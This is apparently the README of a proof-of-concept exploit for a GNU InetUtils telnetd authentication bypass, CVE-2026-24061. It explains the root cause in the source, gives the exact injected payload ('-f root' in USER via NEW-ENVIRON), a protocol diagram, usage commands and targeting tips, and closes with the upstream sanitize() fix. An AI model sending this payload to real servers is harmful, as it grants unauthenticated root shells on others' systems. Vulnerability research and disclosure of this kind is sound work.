
Proof-of-concept exploit for CVE-2026-24061, a telnetd authentication bypass via argument injection in the USER environment variable, allowing unauthenticated root shell access.
Argument injection in telnetd from GNU InetUtils. Versions 1.9.3 to 2.7. CVSS 9.8. On the CISA KEV list since 26.01.2026, meaning it's actively exploited in the wild.
The whole trick is that telnetd takes the value of the USER environment variable from the client via NEW-ENVIRON (RFC 1572) and pastes it without any validation straight into the login(1) invocation. If the client sends USER="-f root", telnetd will run:
/usr/bin/login -p -h <host> -f root
The -f flag in login means "log this user in without a password". Root shell, zero authentication.
In telnetd/telnetd.c there's a template for the login invocation:
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u is the user from telnet authentication (trusted). %U is the raw value of the USER env var from the client (untrusted). When authentication is not active, %U is used.
Variable expansion lives in telnetd/utility.c, function _var_short_name:
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
Zero filtering. Whatever the client sends in USER goes straight to the login command line. Not only -f root works; theoretically any argument that login accepts can be injected.
The bug was introduced in an upstream safe-guard commit from 2015-03-19 (fa3245ac). Ironically, that commit was supposed to fix USER variable handling. Debian had a patch for this in 2019 (0028-telnetd-Scrub-USER-from-environment.patch), but during the CVE-2020-10188 fix in Debian 10 the patch got lost and the bug came back. So Debian 10+, Ubuntu and derivatives are also vulnerable.
main.py is a minimal telnet client that:
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SElogin -f root, you get a shellclient server
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
Ctrl+C ends the session.
Don't try this on systems that don't have inetutils-telnetd. The telnetd package from netkit is different code and is not vulnerable to this specific bug. If you connect and get a normal login prompt instead of a shell, either the server already has the patch or it's not inetutils telnetd.
Don't change the payload to -f <other_user> expecting it to work on every system. login(1) from some distributions has additional restrictions on -f. On standard Debian/Ubuntu -f root works without a problem.
| software | versions |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd (until patch) |
| Debian 11 | fixed in 2:2.0-1+deb11u3 |
| Ubuntu | inetutils-telnetd (until patch) |
The official fix adds a sanitize() function that rejects values starting with - or containing shell metacharacters. Applied to all variables in the expansion, not just USER.
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - USER patchccba9f7 - sanitization of all variables